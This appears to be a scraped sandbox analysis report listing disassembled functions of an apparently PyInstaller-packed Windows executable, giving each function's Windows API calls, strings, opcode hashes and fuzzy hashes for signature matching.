String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 8f8472b69da7ad2400b48cde234c674b4b334e3c1831ca79e191f0f0e614e6f1
Instruction ID: ffd751fa47245ab5ece9228194b5f5acae1bf6fa2c7ebbcbee6245d51fd8bf00
Opcode Fuzzy Hash: 8f8472b69da7ad2400b48cde234c674b4b334e3c1831ca79e191f0f0e614e6f1
Instruction Fuzzy Hash: 1F418E32E18A8791FB30DB22E5542F96311FB54388F8001B2EA5DC7696EFBCE605C740

Function 00007FF6929FBFF0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6929FBFFF
FlsGetValue.KERNEL32 ref: 00007FF6929FC014
FlsSetValue.KERNEL32 ref: 00007FF6929FC035
FlsSetValue.KERNEL32 ref: 00007FF6929FC062
FlsSetValue.KERNEL32 ref: 00007FF6929FC073
FlsSetValue.KERNEL32 ref: 00007FF6929FC084
SetLastError.KERNEL32 ref: 00007FF6929FC09F

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 0b20348f9c1a83954d0a053c40579325a412568fb84c9ff09bb00993ff3f795b
Instruction ID: 90cf225f340ed959e086a90bb38e35e7d40c5c262ed3c2a3a17f690ae4bc531b
Opcode Fuzzy Hash: 0b20348f9c1a83954d0a053c40579325a412568fb84c9ff09bb00993ff3f795b
Instruction Fuzzy Hash: A221B321E4D20242FEB8A73256551BA5352CF497F8F1887B4F93EC6AD7DEECA8025300

Function 00007FF692A08F7C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF692A08FAD
GetLastError.KERNEL32 ref: 00007FF692A08FB9
CloseHandle.KERNEL32 ref: 00007FF692A08FD1
CreateFileW.KERNEL32 ref: 00007FF692A08FFC
WriteConsoleW.KERNEL32 ref: 00007FF692A0901B

Strings

CONOUT$, xrefs: 00007FF692A08FDD

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 09dec002ca810f05fd5d7c823bfe6aa00a703a0ca75bfd1bbea9b479bbcb78f6
Instruction ID: f547e8e8096ea47ebcf769e471d5fa301bfbb16db6b3d7d62176a5fa00567c9b
Opcode Fuzzy Hash: 09dec002ca810f05fd5d7c823bfe6aa00a703a0ca75bfd1bbea9b479bbcb78f6
Instruction Fuzzy Hash: C5118E63A18A4186F3609B12E844329A2A0FB99FE8F144274EA1DC7794CFBCD848C744

Function 00007FF6929E8320 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E834D
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E83AA

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E8435
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E8494
FreeLibrary.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E84A5
FreeLibrary.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E84BA

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 637bc6f7c9f7680885116a859534d49be4f6c8cd185415c736321e4bb6400c1e
Instruction ID: 1ca81ee6215a7a3cdda1d6419b1c7a14049b5da73f821076c6b83e283f5e6d4d
Opcode Fuzzy Hash: 637bc6f7c9f7680885116a859534d49be4f6c8cd185415c736321e4bb6400c1e
Instruction Fuzzy Hash: BE41D272B19A8281FA709B53B5402BA6394FF88B88F040174DF8D97B9AEE7CD400C740

Function 00007FF6929FC168 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC177
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1AD
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1DA
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1EB
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1FC
SetLastError.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC217

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6aa970e24f5ca119c8451d38d23d2f51b6f731ec3ce752582579c637f9f4275c
Instruction ID: 1a7473634c4623227fd9521d2faa3b81b9b148c26db3ff4eebfc5f3eea42866e
Opcode Fuzzy Hash: 6aa970e24f5ca119c8451d38d23d2f51b6f731ec3ce752582579c637f9f4275c
Instruction Fuzzy Hash: 6F11A161F4D24242FAB8A76256911BA5252DF5D7F8F1483B4E92EC66D3DEACE8015300

Function 00007FF6929FA960 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6929FA985
GetProcAddress.KERNEL32 ref: 00007FF6929FA99B
FreeLibrary.KERNEL32 ref: 00007FF6929FA9C2

Strings

CorExitProcess, xrefs: 00007FF6929FA994
mscoree.dll, xrefs: 00007FF6929FA97C

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 418ea1e238ba9159b4af0c063643a1e1072a19be9fd93c352edfae4455fd553e
Instruction ID: dff742f9d55b452c7f0edde7bdca7d82686fbe7be4b7669fdf24f6dd23184b31
Opcode Fuzzy Hash: 418ea1e238ba9159b4af0c063643a1e1072a19be9fd93c352edfae4455fd553e
Instruction Fuzzy Hash: A2F09663B09E0281FB349B24E44437A5360EF4A7B9F540679DA6EC62F5CFACD989C700

Function 00007FF692A0A578 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF692A0A5A0
_set_statfp.LIBCMT ref: 00007FF692A0A5BB
_set_statfp.LIBCMT ref: 00007FF692A0A5D7
_set_statfp.LIBCMT ref: 00007FF692A0A613

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 0930854702753b3b0fe78388604ce6dc65a675aa7c86244b9233916a9f071b1a
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 72113D23FE8A0205F7741368D5567792160FF5736CF0947B4EB6E867DB8EACA8818100

Function 00007FF6929FC230 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC24F
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC26E
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC296
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC2A7
FlsSetValue.KERNEL32(?,?,?,00007FF6929FB487,?,?,00000000,00007FF6929FB722,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FC2B8

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 55c2cfa3c6c0b66b4a1c6f957022f3ceea8d13f022cba7a3d54dd2efb067ed29
Instruction ID: cf6b87e992c6f0cee0dbeae54b3bba8f3bd6d086c17eadc043f5a0d459c35991
Opcode Fuzzy Hash: 55c2cfa3c6c0b66b4a1c6f957022f3ceea8d13f022cba7a3d54dd2efb067ed29
Instruction Fuzzy Hash: E3117251F4D20242FAF897A356911FA5351DF59BB8F0483B4F93E866D7DEACE8025300

Function 00007FF6929FC0C4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6929FC0D5
FlsSetValue.KERNEL32 ref: 00007FF6929FC0F4
FlsSetValue.KERNEL32 ref: 00007FF6929FC11C
FlsSetValue.KERNEL32 ref: 00007FF6929FC12D
FlsSetValue.KERNEL32 ref: 00007FF6929FC13E

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: ea3a9fca6980d96fa6a8d584e22936267001dce1870df9540930b962f91c0f75
Instruction ID: 21423a3058fb19831b3db5c951ea76c4d991a0e55f0f3275f9bcb537b5d7a156
Opcode Fuzzy Hash: ea3a9fca6980d96fa6a8d584e22936267001dce1870df9540930b962f91c0f75
Instruction Fuzzy Hash: A8110A51B4A20342FAF8A72248521BA1251CF5977CE1887B4E93EC96D3DDACB8526204

Function 00007FF6929F6F00 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F6F3C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F7066
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F711C

Strings

verbose, xrefs: 00007FF6929F6F10

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 5742ae6ca51b03e9d6fd204cb41504e479b7e72b202bc53543779a715851f7d3
Instruction ID: b1449ddfe457266274fdaa29f4d78d7c4bfee95bd114a2617eece158c87d8f84
Opcode Fuzzy Hash: 5742ae6ca51b03e9d6fd204cb41504e479b7e72b202bc53543779a715851f7d3
Instruction Fuzzy Hash: 3891D122A0964681F7B08E26D4507FF3791EF40B9CF484176EA59877CADEBCEC09A301

Function 00007FF692A00DD8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A010B7

Part of subcall function 00007FF6929F8918: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F8935

Strings

ccs, xrefs: 00007FF692A00FF2
UTF-8, xrefs: 00007FF692A01036
UTF-16LEUNICODE, xrefs: 00007FF692A01055

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 0f94fbfdb2a41be3f3cf5a79916f7e54565c06583a8995a71c4ffc2f48f318d6
Instruction ID: 6494b6f2fb31344743344ee7895a2687cb70c55d76ccb1cc526bd352df230161
Opcode Fuzzy Hash: 0f94fbfdb2a41be3f3cf5a79916f7e54565c06583a8995a71c4ffc2f48f318d6
Instruction Fuzzy Hash: A681C273E8E24289F7744F2582106B837A0EF13B4CF5580B6DA4EE7285CFADE941A745

Function 00007FF6929ECB78 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6929ECBA3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6929ECC3A
RtlUnwindEx.KERNEL32 ref: 00007FF6929ECC94

Strings

csm, xrefs: 00007FF6929ECC21

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: ef1879a6950a8d40b8b6b13be53b940b4e1f0e07f3723e86cdcfdad74941457a
Instruction ID: f8e8c00852f538818e51880754516ccec5cb79beb11e293a1d0a81bef4b4bf1b
Opcode Fuzzy Hash: ef1879a6950a8d40b8b6b13be53b940b4e1f0e07f3723e86cdcfdad74941457a
Instruction Fuzzy Hash: B1519032A196028AFB24DF16E444A7C3795FB44B9CF108571EA9E87796DFBDE881C700

Function 00007FF6929EE408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6929EE467
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6929EE4B3

Strings

RCC, xrefs: 00007FF6929EE483
MOC, xrefs: 00007FF6929EE47B

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 0008505033c860c887c654c4879225e67528ed16fc7c6c3a96efc88f305ea5d8
Instruction ID: 3dd4ee32527374e1252a02fe7d48254bc42dcd65cbc245b7790da4adec575d02
Opcode Fuzzy Hash: 0008505033c860c887c654c4879225e67528ed16fc7c6c3a96efc88f305ea5d8
Instruction Fuzzy Hash: DE617172908B8585EB719F16E4403BAB7A0FB94B98F044265EBDC4779ADFBCD194CB00

Function 00007FF6929EE7B8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6929EE7E0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6929EE8C8

Strings

csm, xrefs: 00007FF6929EE802
csm, xrefs: 00007FF6929EE91A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 3d688b2030f6ff0abdfc3dd59f0c327938197cf645ae74c01235bdaf5d58afed
Instruction ID: 93eb0d450fa439a0fc57e912b4bc44c25f46ae7eafadff292e6a241981386beb
Opcode Fuzzy Hash: 3d688b2030f6ff0abdfc3dd59f0c327938197cf645ae74c01235bdaf5d58afed
Instruction Fuzzy Hash: 4B517C329082428AFBB48B12E44437877A0FB54BA8F1451B5DADC87BC6CFBCE450C701

Function 00007FF6929E2220 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(FFFFFFFF,00000000,00000000,?,00000000,00007FF6929E862F), ref: 00007FF6929E226E

Strings

WARNING, xrefs: 00007FF6929E227D
%ls, xrefs: 00007FF6929E22E5
[PYI-%d:%ls] , xrefs: 00007FF6929E2276

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: %ls$WARNING$[PYI-%d:%ls]
API String ID: 2050909247-3372507544
Opcode ID: 9a27952706b0edcce65802af7f1770e3887db089615dac0ef249cc8ca7ea00ce
Instruction ID: 1482cd360229f7dd8fa0ff06bf8a7b9fd6c6298a67233a148af51b0c758c7635
Opcode Fuzzy Hash: 9a27952706b0edcce65802af7f1770e3887db089615dac0ef249cc8ca7ea00ce
Instruction Fuzzy Hash: 4321D033608B8291F730AB52B4502FA7364FF843C8F400176EA8D93A5ADEBCE205C740

Function 00007FF6929FD440 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6929FD4BF
WriteFile.KERNEL32 ref: 00007FF6929FD787
WriteFile.KERNEL32 ref: 00007FF6929FD7CD
GetLastError.KERNEL32 ref: 00007FF6929FD883

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ed63d01fdc9f0d7cd72e25070a387a5b046f77b67a2e02b147e50877afa29e90
Instruction ID: e2ac24efb3d8d4128b0f2f7abdc81aeebc50f88b02ebdc985aa6daaea7ef1345
Opcode Fuzzy Hash: ed63d01fdc9f0d7cd72e25070a387a5b046f77b67a2e02b147e50877afa29e90
Instruction Fuzzy Hash: 44D1FF72B08A8089F760DF66D4402ED37B1FB45B9CB004275DE5EA7B8ADE78E916D310

Function 00007FF6929E8530 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00007FF6929E8536
GetCurrentProcessId.KERNEL32 ref: 00007FF6929E8549
GetWindowThreadProcessId.USER32 ref: 00007FF6929E8559
ShowWindow.USER32 ref: 00007FF6929E856E

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

